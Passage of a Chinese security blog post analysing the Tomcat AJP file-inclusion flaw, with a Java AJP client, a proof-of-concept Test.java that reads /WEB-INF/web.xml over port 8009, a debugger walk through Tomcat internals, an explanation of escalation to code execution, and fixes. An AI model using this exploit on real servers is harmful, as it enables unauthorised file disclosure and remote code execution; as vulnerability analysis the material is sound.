class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">connect</span><span class="code-snippet__params">(String host, <span class="code-snippet__keyword">int</span> port)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.host = host;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.port = port;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.socket = SocketFactory.getDefault().createSocket(host, port);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">disconnect</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.socket.close();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.socket = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> TesterAjpMessage <span class="code-snippet__title">createForwardMessage</span><span class="code-snippet__params">(String url)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> createForwardMessage(url, <span class="code-snippet__number">2</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> TesterAjpMessage <span class="code-snippet__title">createForwardMessage</span><span class="code-snippet__params">(String url, <span class="code-snippet__keyword">int</span> method)</span> </span>{</span></code><code><span class="code-snippet_outer">        TesterAjpMessage message = <span class="code-snippet__keyword">new</span> TesterAjpMessage(<span class="code-snippet__number">8192</span>);</span></code><code><span class="code-snippet_outer">        message.reset();</span></code><code><span class="code-snippet_outer">        message.getBuffer()[<span class="code-snippet__number">0</span>] = (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">18</span>;</span></code><code><span class="code-snippet_outer">        message.getBuffer()[<span class="code-snippet__number">1</span>] = (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">52</span>;</span></code><code><span class="code-snippet_outer">        message.appendByte(<span class="code-snippet__number">2</span>);</span></code><code><span class="code-snippet_outer">        message.appendByte(method);</span></code><code><span class="code-snippet_outer">        message.appendString(<span class="code-snippet__string">&#34;http&#34;</span>);</span></code><code><span class="code-snippet_outer">        message.appendString(url);</span></code><code><span class="code-snippet_outer">        message.appendString(<span class="code-snippet__string">&#34;10.0.0.1&#34;</span>);</span></code><code><span class="code-snippet_outer">        message.appendString(<span class="code-snippet__string">&#34;client.dev.local&#34;</span>);</span></code><code><span class="code-snippet_outer">        message.appendString(<span class="code-snippet__keyword">this</span>.host);</span></code><code><span class="code-snippet_outer">        message.appendInt(<span class="code-snippet__keyword">this</span>.port);</span></code><code><span class="code-snippet_outer">        message.appendByte(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> message;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> TesterAjpMessage <span class="code-snippet__title">createBodyMessage</span><span class="code-snippet__params">(<span class="code-snippet__keyword">byte</span>[] data)</span> </span>{</span></code><code><span class="code-snippet_outer">        TesterAjpMessage message = <span class="code-snippet__keyword">new</span> TesterAjpMessage(<span class="code-snippet__number">8192</span>);</span></code><code><span class="code-snippet_outer">        message.reset();</span></code><code><span class="code-snippet_outer">        message.getBuffer()[<span class="code-snippet__number">0</span>] = (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">18</span>;</span></code><code><span class="code-snippet_outer">        message.getBuffer()[<span class="code-snippet__number">1</span>] = (<span class="code-snippet__keyword">byte</span>) <span class="code-snippet__number">52</span>;</span></code><code><span class="code-snippet_outer">        message.appendBytes(data, <span class="code-snippet__number">0</span>, data.length);</span></code><code><span class="code-snippet_outer">        message.end();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> message;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">sendMessage</span><span class="code-snippet__params">(TesterAjpMessage headers)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">        sendMessage(headers, <span class="code-snippet__keyword">null</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">sendMessage</span><span class="code-snippet__params">(TesterAjpMessage headers, TesterAjpMessage body)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.socket.getOutputStream().write(headers.getBuffer(), <span class="code-snippet__number">0</span>, headers.getLen());</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (body != <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.socket.getOutputStream().write(body.getBuffer(), <span class="code-snippet__number">0</span>, body.getLen());</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">byte</span>[] readMessage() <span class="code-snippet__keyword">throws</span> IOException {</span></code><code><span class="code-snippet_outer">        InputStream is = <span class="code-snippet__keyword">this</span>.socket.getInputStream();</span></code><code><span class="code-snippet_outer">        TesterAjpMessage message = <span class="code-snippet__keyword">new</span> TesterAjpMessage(<span class="code-snippet__number">8192</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span>[] buf = message.getBuffer();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> headerLength = message.getHeaderLength();</span></code><code><span class="code-snippet_outer">        read(is, buf, <span class="code-snippet__number">0</span>, headerLength);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> messageLength = message.processHeader(<span class="code-snippet__keyword">false</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (messageLength &lt; <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> IOException(<span class="code-snippet__string">&#34;Invalid AJP message length&#34;</span>);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (messageLength == <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (messageLength &gt; buf.length) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> IllegalArgumentException(<span class="code-snippet__string">&#34;Message too long [&#34;</span> + Integer.valueOf(messageLength) + <span class="code-snippet__string">&#34;] for buffer length [&#34;</span> + Integer.valueOf(buf.length) + <span class="code-snippet__string">&#34;]&#34;</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            read(is, buf, headerLength, messageLength);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> Arrays.copyOfRange(buf, headerLength, headerLength + messageLength);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> <span class="code-snippet__keyword">boolean</span> <span class="code-snippet__title">read</span><span class="code-snippet__params">(InputStream is, <span class="code-snippet__keyword">byte</span>[] buf, <span class="code-snippet__keyword">int</span> pos, <span class="code-snippet__keyword">int</span> n)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> read = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span> (read &lt; n) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">int</span> res = is.read(buf, read + pos, n - read);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (res &gt; <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                read += res;</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> IOException(<span class="code-snippet__string">&#34;Read failed&#34;</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">true</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">```</span></code></pre></section><p><br/></p><p><span style="font-size: 14px;">SimpleAjpClient便是发送AJP消息的客户端代码，支持服务端的连接与断开，支持对AJP消息头和消息体的构造。</span></p><p><br/></p><p style="text-align: left;"><span style="font-size: 14px;">关于整个AJP消息的消息头消息体怎么构造，消息头里面的code的值又是怎样额对应关系可以去参考[AJP协议总结与分析](<a href="https://www.cnblogs.com/softidea/p/5735102.html)" target="_blank">https://www.cnblogs.com/softidea/p/5735102.html)</a></span></p><p><br/></p><p><span style="font-size: 14px;">关于</span></p><p><br/></p><p><strong><span style="font-size: 17px;">漏洞分析</span></strong></p><p><img data-ratio="0.017699115044247787" style="font-size: 14px;" data-w="113" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=ba966a3b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fb96CibCt70iabwjyojLhA03PtxUnkNPREnRSuibrJiaGUHuduVWDJOnRXXh0Buo34iaoVxKoVfIZAcm3dcNg7fyh1BQ%2F640"/></p><p><br/></p><p><span style="font-size: 14px;">先看一下发送的恶意AJP消息包是怎么构造的，</span><span style="font-size: 14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer">``` java</span></code><code><span class="code-snippet_outer">file:Test.java</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.glassy.utility.SimpleAjpClient;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.glassy.utility.TesterAjpMessage;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.IOException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.servlet.RequestDispatcher;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">Test</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">        SimpleAjpClient ac = <span class="code-snippet__keyword">new</span> SimpleAjpClient();</span></code><code><span class="code-snippet_outer">        String host = <span class="code-snippet__string">&#34;localhost&#34;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> port = <span class="code-snippet__number">8009</span>;</span></code><code><span class="code-snippet_outer">        String uri = <span class="code-snippet__string">&#34;/aaa.jsp&#34;</span>;</span></code><code><span class="code-snippet_outer">        String file = <span class="code-snippet__string">&#34;/WEB-INF/web.xml&#34;</span>;</span></code><code><span class="code-snippet_outer">        ac.connect(host, port);</span></code><code><span class="code-snippet_outer">        TesterAjpMessage forwardMessage = ac.createForwardMessage(uri);</span></code><code><span class="code-snippet_outer">        forwardMessage.addAttribute(RequestDispatcher.INCLUDE_REQUEST_URI, <span class="code-snippet__string">&#34;1&#34;</span>);</span></code><code><span class="code-snippet_outer">        forwardMessage.addAttribute(RequestDispatcher.INCLUDE_PATH_INFO, file);</span></code><code><span class="code-snippet_outer">        forwardMessage.addAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH, <span class="code-snippet__string">&#34;&#34;</span>);</span></code><code><span class="code-snippet_outer">        forwardMessage.end();</span></code><code><span class="code-snippet_outer">        ac.sendMessage(forwardMessage);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span> (<span class="code-snippet__keyword">true</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">byte</span>[] responseBody = ac.readMessage();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (responseBody == <span class="code-snippet__keyword">null</span> || responseBody.length == <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                ac.disconnect();</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                System.out.print(<span class="code-snippet__keyword">new</span> String(responseBody));</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">```</span></code></pre></section><p><br/></p><p><span style="font-size: 14px;">从构造的AJP消息包里可以看到，关于AJPMessage的核心内容有host、port、INCLUDE_REQUEST_URI、INCLUDE_PATH_INFO、INCLUDE_SERVLET_PATH，我们暂且在这里记下来，等我们打上断点的时候再去服务端看一看这些东西都是干什么的。</span></p><p><br/></p><section style="margin-bottom: 5px;"><span style="font-size: 14px;">这个时候该开始思考动态调试的问题了，不同于以往的rce漏洞（统一往ProcessBuilder的start函数上打），关于断点往哪打就成了第一个关键的问题，我这边的处理方式是因为客户端代码里面使用了AjpMessage类，所以我就去看了一下这个类所在的jar包，果然就找到了tomcat的lib里负责处理AJP协议的类，</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="1.0088235294117647" data-s="300,640" style="" data-type="jpeg" data-w="680" src="https://wechat2rss.xlab.app/img-proxy/?k=cfe87da6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98VzBfE0r8bHQZnk9H7Wc7rQ79dm82kxRiatmoYpe1kL9zCYDnBZ3FKMGA%2F640%3Fwx_fmt%3Djpeg"/></p><section style="margin-top: 5px;text-align: left;"><span style="font-size: 14px;">这些类看名字差不多就能想到去看一看几个Processor，漏洞的触发一定经过其中的一个，按照第一眼的直觉直接去看AjpProcessor，看到AjpProcessor类里面没有找到我们想要的东西，但是它有一个父类很值得注意，然后我去剩下的几个Processor,发现父类都是AbstractAjpProcessor，所以我就去看了一下这个类的代码，最终决定把断点打在了AbstractAjpProcessor类的process方法上，</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.3546875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f9be4500&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98VeUZw9D7ibU58pWnVbm3CwicNyMPkbod6kBFRuxJY7LkdicGqrcxtkTAVQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><section style="margin-bottom: 10px;"><span style="font-size: 14px;">跑一下客户端，果然处理AJP协议要经过这个方法，</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.36328125" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=29bd0af0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98VGZonRiaZPVN2GVIRHoe1rABOF647JZ2jRVEQIbJesFsFEFK88v3nzeA%2F640%3Fwx_fmt%3Djpeg"/></p><section style="margin-top: 5px;"><span style="font-size: 14px;">在AbstractAjpProcessor类的process方法中this.prepareRequest()方法是要去关注一下的，这里面对request做了一些处理，</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.32734375" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=1a508b4f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98Vg69ib2LpHpaRiceiaGZERgZDaft8W2Flic0VP8C9VgOp1qXia8aVpfiaPp3g%2F640%3Fwx_fmt%3Djpeg"/></p><section style="margin-bottom: 5px;"><span style="font-size: 14px;">我们去看一下这个方法的代码，首先回顾一下TesterAjpMessage.java代码里的一处细节，method的值，</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5599284436493739" data-s="300,640" style="" data-type="jpeg" data-w="1118" src="https://wechat2rss.xlab.app/img-proxy/?k=0e753056&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98Vq0EEVMKAzmF977WWGCyCjJnicAs1yvlVic5SYemv89RXUzsoeL4GoQIQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 10px;"><span style="font-size: 14px;">这prepareRequest种我们就拿到了这个值，并把request的method定义成了GET，</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.13515625" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=38d1244c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98VGJwS85nxe2yKoGVvY6OL4zQq4WibpGu1YUbIvaCFRaicWUWVYWhAB9gQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 10px;text-align: left;"><span style="font-size: 14px;">紧</span><span style="font-size: 14px;">接着进入一个swith循环中给request定义了ADDR、PORT、PROTOCOL，之前在客户端设置的INCLUDE_REQUEST_URI、INCLUDE_PATH_INFO、INCLUDE_SERVLET_PATH也放到了request.include中,</span><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.3390625" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e5f2b418&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98VWFXOpMT9YyD1bve5iaM7slVBDT7yU4CicxwrCP6pX3owhYQXhXaO17QQ%2F640%3Fwx_fmt%3Djpeg"/></p><section style="margin-bottom: 10px;margin-top: 10px;"><span style="font-size: 14px;">j接着就将request和response交给了CoyoteAdapter类来处理，</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.48125" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=4a09c2d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98VoA61SB6yCicXHs97ULYPCCY3qwuMICp3glojvribFzHlhVDQL40HqFlQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-bottom: 10px;"><span style="font-size: 14px;">接下来就是一系列的反射，最终交给了JspServlet来处理这个请求，</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.33359375" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=04dd8524&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98V9CNf3icYHcPZMv8LRm2FyejZcFMUd1YCtrvV2LsW0Y4gjT9QjvUI3Kw%2F640%3Fwx_fmt%3Djpeg"/></p><section style="margin-top: 10px;text-align: left;"><span style="font-size: 14px;">在JspServlet的service方法中就看到了我们之前在利用代码里面定义的INCLUDE_REQUEST_URI、INCLUDE_PATH_INFO、INCLUDE_SERVLET_PATH开始被用到了，</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.28203125" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=1a18ee85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98VXheNY1icUH6nQGwWESWeibxlcARMOzxv3gm1LvCfvByviaaHj2pEnw1lA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 14px;">接下来的操作便是把jspUri交给了getResource去读取文件内容</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.25859375" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=505d065d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98V9ZrApSHhTVNBVtJc95MTDZatPwgL4A3yxZ82qGFcQdC3K2GRqpcO1w%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><section style="margin-bottom: 10px;"><span style="font-size: 14px;">在调用StandardRoot的getResource方法的时候会去调用validate方法对path进行检测</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.16875" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=33fd05aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98VY7oohiaz06m3DP0UwAXLW8iaviaOlibf6baBfehGWB44z1O0hkPotO3H4g%2F640%3Fwx_fmt%3Djpeg"/></p><section style="margin-bottom: 10px;"><span style="font-size: 14px;">其中RequestUtil.normalize用于目录遍历的检测，所以我们是不能构造../模式的path的，</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.309375" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a6f31c29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98VLSicCrhBwwlLT1vKZKuhPibSxibzDiasSgic9mKzdlC7YjEe8mib85NTQALg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 14px;">接下来就会造成文件读取了，总体的调用栈如下，</span><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.9580152671755725" data-s="300,640" style="" data-type="jpeg" data-w="1048" src="https://wechat2rss.xlab.app/img-proxy/?k=e529930e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98VjYDkypGBoZ6TxpIdPyTYU0ibroreUia1jtp9eicn5Ps4vPKuXhwv7homA%2F640%3Fwx_fmt%3Djpeg"/></p><section style="margin-top: 10px;"><span style="font-size: 14px;">关于当存在任意文件上传的时候可以造成RCE的原理也是很简单的，我们看一下上面的调用栈，可以发现当我们读取了文件之后是交给了jspServlet去处理的，自然我们上传了jsp文件再通过该方法去读取文件内容的同时jspServlet也会去执行这个文件，利用jsp的&lt;%@ include file=&#34;demo.txt&#34; %&gt;去做文件包含从而造成RCE。</span></section><p><br/></p><section style="margin-bottom: 10px;"><span style="font-size: 14px;">这里有一个很重要的点要回过来提一下，这里面我为了顺便讲解RCE的原理，所以我在定义Test.java中的uri变量的时候，给他赋值是xxx.jsp的形式，所以最好AJPProcessor最后是把Message交给了JspServlet来处理这个消息，其实这个漏洞还有第二条利用链，将uri定为xxx.xxx的形式，这样我们的AJPMessage是会交给DefaultServlet来处理的，但其实后面的流程是和前面区别不大的，就不再细说，</span></section><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.45920303605313095" data-s="300,640" style="" data-type="jpeg" data-w="1054" src="https://wechat2rss.xlab.app/img-proxy/?k=077b11cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98VLS6JNAJqgXlFhtfFQQWqypUZ0ibUial1pNcd71Yia4fxhu87woBWWkJhA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 14px;">补充一下走DefaultServlet利用的调用栈，</span><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.7984934086629002" data-s="300,640" style="" data-type="jpeg" data-w="1062" src="https://wechat2rss.xlab.app/img-proxy/?k=c6abb793&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z4jXISj167wh2h2gaTaZ98V7yO47oKTlnfuKfBOHxfeu6DdjYfcDc0InRtkmNjAUic1nejVzuyWhRw%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p><span style="font-size: 17px;"><strong>修复建议</strong></span></p><p><span style="font-size: 14px;"><img data-ratio="0.017699115044247787" style="white-space: normal;" data-w="113" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=ba966a3b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fb96CibCt70iabwjyojLhA03PtxUnkNPREnRSuibrJiaGUHuduVWDJOnRXXh0Buo34iaoVxKoVfIZAcm3dcNg7fyh1BQ%2F640"/></span></p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">我这个漏洞的分析出的比较晚，相信修复方法大家也都知道了，我就顺便一提：</span></p><p><span style="font-size: 14px;">1、关闭AJP协议。</span></p><p><span style="font-size: 14px;">2、升级tomcat。</span></p><p><span style="font-size: 14px;"><br/></span></p><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><p><br/></p><section data-id="27688" data-type="lspecial04" mpa-from-tpl="t"><section style="text-align: center;" mpa-from-tpl="t"><section style="width: 35px;display: inline-block;vertical-align: bottom;transform: rotate(0deg);" mpa-from-tpl="t"><img data-ratio="0.8333333333333334" style="width: 100%;vertical-align: middle;" data-w="60" src="https://wechat2rss.xlab.app/img-proxy/?k=eb36c71b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FUS10Gcd0tQFoXSugtibHNS32ANo3VSsOEibo3BfqjTqdw3CfibsueiaNyYzSZ4LsgG2dDgRgCzgRRtL1ZUqphqngbQ%2F640"/> </section><section style="display: inline-block;vertical-align: bottom;margin: 0 -35px 5px;padding: 0 15px;box-sizing: border-box;" mpa-from-tpl="t"><section style="background-color: #ff853c;padding: 10px;width: 120px;margin: 0 auto;border-radius: 5px;box-sizing: border-box;" mpa-from-tpl="t"><section style="background-color: rgba(255, 255, 255, 0.3);padding: 10px;box-sizing: border-box;border-radius: 5px;" mpa-from-tpl="t"><img data-cropselx1="0" data-cropselx2="80" data-cropsely1="0" data-cropsely2="80" data-ratio="1" style="width: 80px;vertical-align: middle;height: 80px;" data-type="png" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=273635d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6mekWciaxxbS18R8SS05YW8zsGBbWkKpkZdZczug4j9jRKibfNGBBeLhWIC9tDThjoga1Eje4pkRwQ%2F640%3Fwx_fmt%3Dpng"/> </section></section></section><section style="width: 35px;display: inline-block;vertical-align: bottom;" mpa-from-tpl="t"><img data-ratio="0.8305084745762712" style="width: 100%;vertical-align: middle;" data-w="59" src="https://wechat2rss.xlab.app/img-proxy/?k=4b287bac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6aVaON9Kibf56gaTAFbn1qM9hPmo70lDIPUxWcqYhyFyr1bvqt33UAI0t6Or6rFhJ3wnGz7H8T5QWDqH9B07fgg%2F640"/> </section></section><section style="color: #ff853c;letter-spacing: 1px;line-height: 24px;text-align: center;" mpa-from-tpl="t"><p style="font-size: 14px;margin: 0px;padding: 0px;"><strong mpa-from-tpl="t">扫码关注</strong> 